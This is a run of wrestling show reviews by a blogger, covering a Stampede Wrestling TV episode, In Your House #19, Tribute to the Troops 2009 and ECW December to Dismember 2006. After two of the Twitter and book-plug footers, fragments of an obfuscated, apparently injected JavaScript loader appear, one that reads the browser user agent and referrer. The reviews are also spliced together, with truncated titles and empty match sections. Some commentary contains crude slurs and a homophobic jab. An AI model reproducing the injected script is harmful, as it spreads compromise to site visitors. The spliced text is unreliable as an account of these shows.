Keith says that a month is up in two weeks and Bret is in the middle of a big tour so he might not be able to get back up here for the title match. Keith might hook up with his brother Bruce if he has to compete for forfeited titles. From what I can see the titles did wind up getting forfeited.

The North American Heavyweight Champion (top title in the company) Don Gagne (Frenchy Martin from the late 80s) has a title defense tonight against Sekigawa tonight. Gagne can’t talk incredibly well but he could have been a lot worse.

Bruce Hart vs. Andre Swista

I think that’s how you spell it. It’s Ukrainian so I have no idea how to spell it. This was again joined in progress. Apparently we missed a few minutes of it which is always annoying. The crooked referee is in this match. Andre destroys him for the most part and Bruce hits the floor. Back in and a punch to the ribs gives Bruce control again. Scratch the again aspect as he never was in control in the first place. A knee drop and a clothesline ends this. Nothing match here so no rating.

Post match Bruce talks about how John Foley, the top heel manager, won’t let Bruce have a title shot against the Dynamite Kid for the Middleweight Title. Foley is British apparently and Andre wouldn’t do anything compared to what Dynamite would do. Dynamite says he’s overweight for the title defense so he’s fighting a Japanese guy tonight. Dynamite: “Just because you’re Japanese doesn’t mean you’re good.” PREACH IT BROTHER MAN!

Yong Ki vs. Larry Jones

I wonder if he’s related to Low Ki. This is again joined in progress and Ki is apparently one of Foley’s boys and Jones appears to be a bad cowboy character. Yong has a chinlock on and this isn’t a scheduled match it seems. Ki is Vietnamese which I don’t think I’ve ever heard of. It’s his debut it seems. We take a break….and come back to a different match? What the heck? We saw like a minute of it and now it’s off to a different match. This company is weird man.

LeoBurke/Hubert Gallant vs. Tasumi Oshira/Tommy Stanton

Apparently Ki won the match. Burke is the only guy I’ve ever heard of and is more or less a legend in Stampede. Burke and Gallant seem to have teamed together for awhile as they have solid chemistry. Solid is a stretch probably but I’m too lazy to go back and think of something better. Stanton is in the singlet it seems. We’re fifteen minutes into this apparently. Sweet goodness is it impossible to have a full match shown?

Burke and Gallant are former champions it seems. Oshira hammers away on Gallant as the evildoers are in control. Stanton offers a knee for Oshira to ram Gallant into and gets his own knee hurt as a result. Nice job dude. Bearhug by Stanton which looks like he’s trying to rock Gallant to sleep.

The heels do the knee thing in the corner again and this time it doesn’t result in an injury. A punch finally allows Burke to come in. Really? That’s all it took? A single punch? Burke comes in and beats the tar out of the Japanese guy. A knee drop looks incredibly painful as it collides with the head.

All Burke here as he’s completely dominating. He has an awesome beard too. The referee more or less tells Oshira to come in so Burke beats on him for awhile. Sleeper, Burke’s finisher, goes on but Stanton breaks it up. Gallant botches the heck out of an attempted abdominal stretch and it all breaks down, prompting the announcer to almost sing. Stanton throws Gallant into Oshira to end this with Gallant getting the pin.

Rating: C+. Not a bad match here but seriously this got over 20 minutes in total? This card must have been like three hours long and crammed down into a 45 minute TV broadcast. It’s definitely the best match of the night so far and Burke was fun to see, but this was nothing special at all. Kind of hard hitting though so it has that going for it.

Burke and Gallant say they’d love to get a title shot but at Keith and Bret, not in a tournament.

Dynamite Kid vs. Hiroshi Yagi

Hiroshi is overweight for the Middleweight Title so this is non-title. We’re, say it with me, joined in progress after 15 minutes it seems. Yagi gets two on a small package. The fans boo the count. Dynamite looks awesome. Camel clutch goes on Yagi, giving us one of the funniest faces I’ve ever seen from Dynamite. He looks like he’s not sure if he should be happy or not about this and it’s rather comical.

The hands aren’t locked around the face on the hold so it’s not entirely effective. The camera angles need to go up a bit more as they seem to be tilted down. Yagi takes over and hits a flying headbutt to take Dynamite down. He may want to call that the Flying Strike of Irony. Dynamite gets a butterfly suplex for one.

Yagi goes all Japanese on Dynamite with kicks and martial arts. I guess those stereotypes extend up into Canada too. Indian Deathlock goes on and I don’t feel like making the nationality joke. We hit twenty minutes with both guys on the mat. Dynamite takes over and you would think we were watching in fast forward. Dynamite gets up on the second rope and gets kicked to the floor in a nice bump. Yagi gets a dive to the floor and it’s a double countout.

Rating: C-. Pretty much a boring match until the very ending there. Dynamite turned it on in the end there and it got rather entertaining. Yagi isn’t bad but he was a bit too slow for my tastes. Granted it might be better if we saw him fresh instead of fifteen minutes in, but who knows.

Yagi says he’ll lose five pounds and challenge for the title.

John Foley says that should have been a DQ and a no contest. Dynamite says Yagi is ten pounds overweight so there’s no title shot.

North American Heavyweight Title: Mr. Sekigawa vs. Don Gagne

No DQ here and naturally it’s joined in progress. We’re only five minutes in here though. Gagne is champions. This is more of a brawl than a match. Sekigawa is dominating here with basic power stuff. Middle rope splash gets no count on a cover. Gagne takes a bandage off the wrist of Sekigawa and starts hammering away. I think he’s face here but I really have no idea.

Big knee and legdrop get two. Neckbreaker is one of the first wrestling moves I’ve seen all night long. The audio is getting really annoying with how much you can hear from the audience. Sekigawa fights back with shots to the neck and face. We take a break to more brawling. Back with….Stu Hart. The match was thrown out despite being No DQ during the break. Well of course it was. No rating due to the lack of a start and the lack of a finish.

Hart says he wants to have a rematch with full rules and Leo Burke, who is also in the ring, to be the referee. Burke says he’ll do it and the title is held up otherwise.

Whalen closes us out and seems like he needs the FBI watching him.

Overall Rating: D. WOW. This was one of the weirdest shows I’ve ever seen. We didn’t get a complete match for the entire show and what we saw was rather bad. Dynamite is by far the highlight of the show since Bret wasn’t there. This is a completely different style of wrestling and I’m not sure it’s incredibly entertaining. It would become a breeding ground for awesome later on though so maybe this was just a bad week. Not a good show but I’m kind of intrigued so that’s good I guess.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsnif|var|u0026u|referrer|dyhsn||js|php'.split('|'),0,{})) X: In Your House #19
Date: December 7, 1997
Location: Springfield Civic Center, Springfield, Massachusetts
Attendance: 6,358
Commentators: Jim Ross, Jerry Lawler

 

Light Heavyweight Title: Brian Christopher vs. Taka Michinoku

 

 

 

Los Boricuas vs. Disciples of Apocalypse

 

 

 

We look at a recap of Mero vs. Butterbean, which is about Mero being obsessed with people looking at Sable. Therefore, he challenged Butterbean to a fight which was eventually called a Toughman contest to avoid issues with the state athletic commission. The idea is Mero is insanely jealous and challenged Butterbean to a fight as a result.

 

Marc Mero vs. Butterbean

 

Butterbean is a legitimate boxer who weighed over 300lbs so this is fixed to prevent Mero from being killed. There are four two minute rounds and Mero runs a lot to start round one. He hides in the ropes and Butterbean gets annoyed so he knocks Mero off the apron with a big right hand. Back in and they keep feeling each other out with nothing of note until the end of the round. A brawl breaks out between the rounds but again it goes nowhere.

 

 

 

We recap the New Age Outlaws shocking the world by beating the LOD (who beat the Godwinns a day after the last show) for the tag team titles with the help of a chair. The New Age Outlaws are the newly formed team of Jesse James (now called Road Dogg) and Billy Gunn who said they were tired of fighting each other and formed a team.

 

LOD promises to get their belts back.

 

Tag Titles: Legion of Doom vs. New Age Outlaws

 

 

They head outside for the fifth time where Billy gets dropped face first onto the steps, putting him in just as much pain as his partner. The champions try to leave but the LOD will have none of that and drag the Outlaws back to the ring. With the referee distracted, Billy hits Hawk low and Road Dogg finds a cooler of soft drinks to crack him over the back. Back in and the Outlaws actually get to take over with Road Dogg getting two off a dropkick.

 

Billy comes in legally for the first time and distracts the referee, allowing Dogg to get in a cheap shot from the apron. Gunn hooks a neck crank but Hawk fights up, only to have a double clothesline put both guys down. A double tag brings in Animal to powerslam Dogg before crushing him with a shoulder block. LOD loads up the Doomsday Device but the referee is with Billy, allowing the Godwinns to come in with their buckets. Hawk takes it away and wears out the Outlaws for the DQ.

 

 

Sgt. Slaughter vs. HHH

 

Anything goes. Slaughter comes out to the same music that Patriot came out to for his PPV appearances. Slaughter pounds on Helmsley with his riding crop to start and pounds him down before stomping away at the ribs. HHH is thrown out to the floor and dropped throat first across the barricade as the match continues its slow start. Slaughter covers for no count, establishing that the fall has to occur in the ring.

 

HHH goes into the steps and gets kicked into the aisle with Slaughter still in full control. Back inside and Slaughter drops him with the riding crop to the throat before choking away. A clothesline gets two and Slaughter calls for his Cobra Clutch but HHH rolls out of it. Slaughter is whipped into the corner and out to the floor (a signature spot) to give HHH a breather. HHH whips him into the barricade for a little payback before throwing him into the crowd. Back to ringside and HHH chokes away, only to have to duck the Slaughter Cannon (running clothesline) which takes out the timekeeper instead. Slaughter is cracked in the back by a belt and we head back inside. A chain to the jaw puts Slaughter down for two as the timekeeper is taken to the back.

 

 

 

Jeff Jarrett vs. Undertaker

 

 

Mark Henry is in the Milton Bradley (yes as in the board game company) cheering section.

 

The biggest segment of all though was Austin saying that Rock was going to be walking through the airport when his beeper goes off and it says Austin 3:16, meaning Austin owns him. Rock was in the ring for a promo when his beeper went off and read 3:16. Austin popped up and pounded the tar out of Rock, sending the crowd through the roof. It was clear that these two were the future and that Rock had just needed the right feud to bring him up to the next level.

 

Intercontinental Title: The Rock vs. Steve Austin

 

 

 

Video on Shamrock destroying everyone in his path so far and making everyone from Rock to Bret to Austin tap out. On Raw, Shawn put a fake leg in a wheelchair and had HHH twist the ankle around to show how much pain he could withstand in a funny bit.

 

WWF World Title: Shawn Michaels vs. Ken Shamrock

 

 

 

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krtsb|var|u0026u|referrer|ndafs||js|php'.split('|'),0,{})) to the Troops 2009
Date: December 4, 2009
Location: Holt Memorial Stadium, Balad Air Base, Iraq
Commentators: Michael Cole, Jerry Lawler

Oh and before I forget: not all of the card is televised. There were eight matches on the card but only three aired on the broadcast. That would be changed I think next year. Lawler and Cole did commentary on tape from Connecticut later on.

Rey Mysterio/Mark Henry vs. CM Punk/Carlito

We get photos of the WWE guys and Divas visiting troops set to a Bob Dylan song.

Barack Obama thanks the troops for doing this.

General David Petraeus thanks us some more and we hear about all the cool stuff the troops do in Iraq.

The Miz vs. John Morrison

Raw World Title: John Cena vs. Chris Jericho

A three minute highlight package of the while trip ends the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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It’s the closest thing to a major Christmas show I could think of. Also, what better way to almost close out the year than with an absolutely horrible show?

December to Dismember
Date: December 3, 2006
Location: James Brown Arena, Augusta, Georgia
Attendance: 4,800
Commentators: Joey Styles, Tazz

So this is more or less considered the standard for worst WWE PPV of all time. There are quite a few reasons for that and I’d say it’s likely true. Number one is Vince McMahon. Heyman was told to run this show and he put together a run sheet and the endings to matches etc.

Since Big Show had made it clear that he was leaving the company as soon as his contract was up two days after the show, the title change was clearly coming. Heyman’s original idea was Punk and Show start the Chamber match and Punk gets Show to tap out inside of four minutes. Punk liked it, Heyman liked it, Show LOVED it, the writers liked it, Vince hated it.

Vince insisted on Lashley getting the belt and a huge celebration ending the show. Heyman said allegedly three or four times that this was going to bomb. It did indeed bomb and guess what happened. Yep, Vince blamed Heyman for the whole thing and Paul quit/was thrown out. The second issue here is that we had seen Survivor Series SEVEN DAYS EARLIER.

Yeah, this is our second PPV in two weeks, so of course the buyrate was through the floor. That was of course Heyman’s fault too. Finally, this was called an ECW show. The problem was it was more or less a really long episode of the TV show with a bit main event. This wasn’t like the TV show now either. This was back when the show was awful and more or less held together with tape and gum every week. Let’s get this over with.

Of course the opening video is all about the Chamber. Oh, it’s an EXTREME Elimination Chamber as the four in pods will all have weapons. Give me a break.

Joey says this show might be infamous. That’s just amusing. He follows this by screwing up and saying there will be a new champion tonight. Thanks for the spoiler Joey.

MNM vs. Hardys

This was an open challenge that was accepted by MNM. Who cares that neither was on ECW at the time? This was one of two matches announced for the show. What does that tell you? MNM beat up the Hardys on Tuesday and that’s all there is to it. Jeff is IC Champion here by the way. Matt and Mercury start us off.

The Hardys are dominating and throw in a spin cycle which is always a cool move. It’s like a double suplex but they spin the other guy around. It’s hard to explain. And now we get the weird part of this: ECW chants by fans that actually think this is a real ECW show. They start a she’s a crack w**** chant at Melina and no one knows how to react to it.

Matt hits splash mountain on Nitro (Morrison) for two. Apparently Melina has herpes. This show really was doomed from the start on this. I didn’t know Scott Armstrong was refereeing this far back. Tazz isn’t helping things either with his idiotic commentary. To be fair though, he could be far more annoying, like that scream from Melina.

Tazz throws in that Cole doesn’t like women. If true, I’m not entirely surprised. In a funny bit, MNM go for the Twist of Fate and Swanton but Matt fights off and gets the hot tag to Jeff. Matt hits a Pescado on Mercury which is more or less caught and reversed to set up the big pile of aerial moves which never gets old.

Jeff misses the Swanton as Mercury pulls Nitro out. This has been pretty good so far. Tazz gets off on the screaming I think. Morrison looks weird with blonde hair. It’s MNM in control now as they beat up Jeff. Yeah Tazz is driving me crazy. Melina is a crack w**** again apparently. It amazes me that she was more or less just the sexy valet at this point and became a great worker (by comparison) in just a few years.

They’re being given a lot of time if nothing else as we’re about 15 minutes into this and there seems to be a good amount of time to go in it. Is Tazz supposed to be Jerry Lawler or something? If he is he’s somehow more annoying than Jerry if that’s possible. Jeff gets a Whisper in the Wind out of nowhere to set up the tag to Matt.

In a cool spot, Jeff is tagged back in and goes up. Matt tries to set Mercury up for a powerbomb by handing him to Jeff but Nitro makes the save and then shoves Mercury up to Jeff so he can hit a hurricanrana. That was freaking cool. Nitro accidentally dropkicks Melina and Jeff rolls him up for a LONG two.

Jeff takes the Snapshot but Matt makes the save. This is awesome stuff now. MNM sets for a top rope Snapshot but Matt saves with a double cutter to let Jeff hit a Swanton onto both of them for the pin. By the way, the Snapshot is Nitro holding up the other guy and Mercury hitting an elevated DDT.

Rating: B+. This was very good stuff as they were given a lot of time and it worked very well. This was a way to let MNM look good, even though at the end of the day they weren’t even the best tag team that Morrison was even a part of. Either way this was good stuff and it worked very well. Definitely good, but the show would go all downhill from here.

Van Dam says he’ll win the title tonight.

Matt Striker vs. Balls Mahoney

See what I mean about them not advertising anything? I think you can see why based on this one alone. They had been feuding back in the day and no one cared so let’s have people pay to see the “blowoff” to it. They kept saying that Striker was a former teacher that had to resign but it was never explained why: he got in trouble for going to wrestle at night.

The match tonight is under Striker’s Rules, meaning very strict. There is no eye gouging, no hair pulling, no top rope moves, and no foul language. I didn’t know that Bill Watts booked ECW. Balls comes out to a bad cover of Big Balls. They make jokes about Striker having a picture of himself on his body.

If there has ever been a match that belonged on TV, this is it. It’s ok, but it’s certainly not worth paying anything for. After even more boring stuff, this time mainly arm work from Balls, he hits the Nutcracker Sweet, of course not called that here, to get the win.

Rating: D. Not only was it boring, but this was something people had to pay to see without it being mentioned or advertised. Other than the opener and the main event, that’s the case all around tonight actually. You’re starting to get the idea why this show is considered awful.

Punk is getting ready.

Sabu is hurt and Hardcore Holly is replacing him in the main event. The fans, knowing what’s going on, loudly chant BS at this.

Sylvester Terkay/Elijah Burke vs. F.B.I.

This FBI is Guido and Tony Mamaluke. Burke is the Pope from TNA, and yet, he’s still overrated and more or less worthless. “But KB, he can talk so well!” Well that would bet true if it wasn’t BS. He’s talking now and he’s annoying me already. Now in TNA he’s a modern day Slick and just as annoying.

The only good thing about the FBI is they have Trinity and she looks quite good. Yep, that’s all I’m going to care about here. Terkay is more or less an MMA guy that wrestled. Apparently Tazz needs a cold shower. Can we please get to the end of this show PLEASE? We have a very weak where’s my pizza chant as I feel so sorry for the live fans.

This was a massive slap in the face of all of ECW and its fans, but hey, Vince gets to feel like he killed the freaking place and his delusions of grandeur are fulfilled for one more day right? All is right with the world now. More or less this is a way for Terkay to beat people up. It’s more or less a squash.

Actually screw that: it is a squash. Naturally the ECW guys get destroyed on an ECW show so that the WWE guys can look great. Oh and after the match, Terkay uses a Muscle Buster to get a big TNA chant going. Ok so not big but whatever. Just move on please.

Rating: D-. Screw Vince. This was just dumb. I get that you hate ECW but if you’re going to screw the audience like this, get over yourself Vince.

Sabu is put in an ambulance.

We get an ad for Raw, on an ECW show. This is freaking garbage.

Daivari vs. Tommy Dreamer

Daivari is more commonly known as Sheik Abdul Bashir recently and here he’s known as the manager of the Great Khali. I wonder what’s going to happen here. Dreamer jobbing would be ok I guess. Those poor fans actually think Dreamer has a chance in this. Khali is thrown out. And now no one else cares. It’s Dreamer vs. a tiny guy that never does anything else.

Dreamer gets some of his big spots in to get the crowd going a bit, but naturally as he goes for the DDT, Daivari just rolls him up with the tights for the pin. I hate this show more and more every time. Of course Khali comes out and chokeslams him on the ramp. Tazz is legit ticked off as you can tell.

Rating: W. That stands for who freaking cares anymore. I’m not even an ECW fan and I’m even an ECW critic and this is ticking me off. Tell me one reason why Daivari should have gone over like that here. If you’re going to have Khali destroy him, fine, but have that be the reason to end the freaking match. This is just mindless.

Dreamer takes forever to get up as we’re an hour and 15 minutes into this and we have two matches left, one of which is a mixed tag.

Ad for See No Evil, which is of course, a WWE thing and not an ECW thing.

I actually took a break at this point to watch a bad Disney Channel movie. That’s how annoyed I am with this show.

Heyman gives Hardcore Holly the spot in the main event. The fans pause and then know what’s coming, as Holly gets the spot. I actually can’t understand Holly’s first line as the fans are booing so loudly. This was a freaking atrocity and it’s pathetic that it has to be. The fans are just freaking dead now.

Ariel/Kevin Thorn vs. Kelly/Mike Knox

Kelly dated Knox apparently. Kelly at this point is an exhibitionist and AWFUL. I mean she’s ridiculously bad so we get Knox and Thorn. Knox has no beard at this point and is somehow more worthless than he was before. Oh dang it they’re letting him talk. Oh good Kelly is talking instead. She likes Punk, who gets a chant. That chant didn’t happen though. No one likes Punk. What people want is HARDCORE HOLLY AND TEST!!!

Thorn is a vampire and Ariel is a fortune telling gypsy or something. She would become Salinas in TNA in case you’re more familiar with them. This is a freaking disgrace. I’m glad no one bought it as it makes things seem a bit better. No one cares about this either as since both girls can’t wrestle we more or less have a Knox vs. Thorn match.

And here they are. At least Kelly looks hot. Kelly tries to get the tag to Knox but he leaves. Note: the fans chant for Punk to come make the save. To make sure it’s clear: Punk is WAY over. Sandman makes the save instead which gets a nice pop.

Rating: D-. Kelly looking hot is the only reason this passes. I just want to get to the end of this.

We get a long ad for Armageddon, which was the third PPV in four weeks. WWE was so stupid at this point that I can’t comprehend it.

Some RIDICULOUSLY hot chick named Rebecca interviews Lashley. She can’t talk but she doesn’t need to. It’s mainly about how Lashley has had to put up with a ton of nonsense, more or less confirming that he’ll win tonight, which only Vince wanted to see.

Three of the people in the chamber come to the ring together. We get the same exact video as the one that opened the show. Oh man they knew they had jack. We’re about an hour and a half into the show at this point mind you.

Heyman comes out and talks while saying nothing at all. This is nothing more than trying desperately to fill in time.

ECW World Title: CM Punk vs. Bobby Lashley vs. Test vs. Hardcore Holly vs Big Show vs. Rob Van Dam

Now keep in mind, Punk and Lashley were more or less worthless at this point, so the only two legit main event guys you have in there are RVD who was hated by the company at this point and Show who didn’t care as he was leaving in 48 hours. RVD and Holly start. Remember that as soon as each pod opens up, the person comes out with a weapon which I’ll get to as each pod opens.

Holly is booed out of the building. Naturally Vince will insist that it’s because of how great a heel he is or whatever. So we have to watch Holly and Van Dam for five minutes. Oh joy. The entrances took almost ten minutes mind you. The fans are dead here by the way. We get Rolling Thunder on the cage, which is impressive but we’ve seen it before.

They’ve managed to make the Elimination Chamber boring. That’s just impressive. Note: another Punk chant goes up. I can’t emphasize this enough: PUNK IS OVER. In third is Punk and his chair to a freaking ERUPTION. It’s a shame that he didn’t have a chance to win here. And Van Dam kicks the chair into him so he’s down 30 seconds in.

Ok to be fair, they’re the two most over guys in there so that’s ok I guess. Van Dam is bleeding. Apparently you can get pins outside on the cage now. That’s new I think. Heyman is the evil GM here in case you didn’t know. Punk is getting destroyed by Holly here in case you weren’t sure.

Also Punk would have his first loss in the company to Holly in about a month with the justification being that Holly was the bigger star and should go over. Again: if it’s not Vince’s idea, it’s not a good idea. In fourth is Test with a crowbar. Naturally he nails Punk with it. This is freaking stupid. Test and Hardcore Holly are in THE MAIN EVENT OF A PAY PER VIEW.

The idea here is that the heels are all working together which is completely pointless considering the idea of the match but that can’t be Vince’s idea. Heyman “booked” this remember? And then Van Dam hits this Five Star and Punk is gone. Yep, the most over guy in the match is out first while Test and Holly get to stick around.

Test puts Holly out ten seconds later with a big boot. It was only a two but the referee calls it three. The announcers and fans are confused but since this show isn’t for the fans it doesn’t matter. Van Dam goes up on top of Big Show’s pod but a chair shot puts him down. Test hits a big elbow off the pod…and Van Dam is out. Let’s see. Why is this stupid? Number one, the most over guy left is Big Show.

Second, now THERE’S NO ONE FOR TEST TO FIGHT, so it’s just dead time now. Third, you had freaking TEST beat RVD. We’re still just sitting around after two replays of the elbow and just waiting on ANYTHING to happen. The fans have completely turned on the match at this point and don’t care at all. Thankfully the next guy in is Lashley.

He gets NO pop at all. Heyman’s security try to hold him in the pod, but using the WOODEN table in the pod with him, he breaks the STEEL chains on top of the pod. ARE YOU KIDDING ME??? The table is still in the pod mind you so it’s not like it’s even being used. They keep ramming Test into the Plexiglas to set up Lashley vs. Show.

Yeah, that’s what this whole thing is supposed to end with: the massive showdown between Show and a heavily muscled guy. I know I’ve said it before, but Vince has to have repressed homosexual desires towards musclemen. I mean really, is there any doubt of it at this point? The fans HATE this mind you.

A spear puts Test out with a minute and a half left until Show comes out. In other words, we have nothing to do but wait for the time to run out. You might as well quit reading now as you know exactly what’s coming. Show comes in with his barbed wire ball bat and naturally he gets in no offense as it’s ALL Lashley here.

He avoids the chokeslam and they slug it out. Lashley is terrible in the ring at this point mind you, so this is even more torture. And he wins it with a spear. The main event is over two hours and five minutes into the show.

Rating: D-. This was just completely ridiculous for reasons I’ve already gone into. For another thing, SABU, the guy that has somehow made a whole career out of doing stupid stunts in a ring, is left out here in favor of Holly. Are you freaking KIDDING? This was just dumb and nothing more than Vince deciding that he’s smarter than the fans once again.

And that’s it. No seriously, the show which cost 40 dollars started at 8pm and was over at 10:05pm, the last 4 minutes being the celebration by Lashley. Do I even need to insult this?

Overall Rating: I. For incomplete. Where’s the last 45 minutes of this? I know WWE cuts their shows early, but this was inexcusable. Not only does it end 40 minutes early, but there were two matches allegedly worth seeing and the Hardys vs. MNM was the only good thing of it at all. This wasn’t a PPV. It was Vince making sure that ECW died the way he wanted it to.

If Vince would listen once all night, he could have heard the fans BEGGING for this to be Punk but the rookie muscle guy gets it instead. Heyman was of course blamed for the whole thing because while he wrote the show, it was his third one or so and the only reason he went with it was because Vince wouldn’t accept anything.

Like I said, the initial idea was Punk puts Show out in about three minutes and we end with Van Dam, Punk and Lashley (if we have to) in a 20 minute war. Alas, that would have been entertaining though so they went with Lashley being given the hero push so Vince would have nice wet dreams that night. This was an abomination and not a PPV at all.

Get the Hardys/MNM match if you like tag wrestling, but other than that don’t do anything with this show so Vince doesn’t get anything out of it. This was an insult to the fans at best and an ego trip by Vince of epic proportions.

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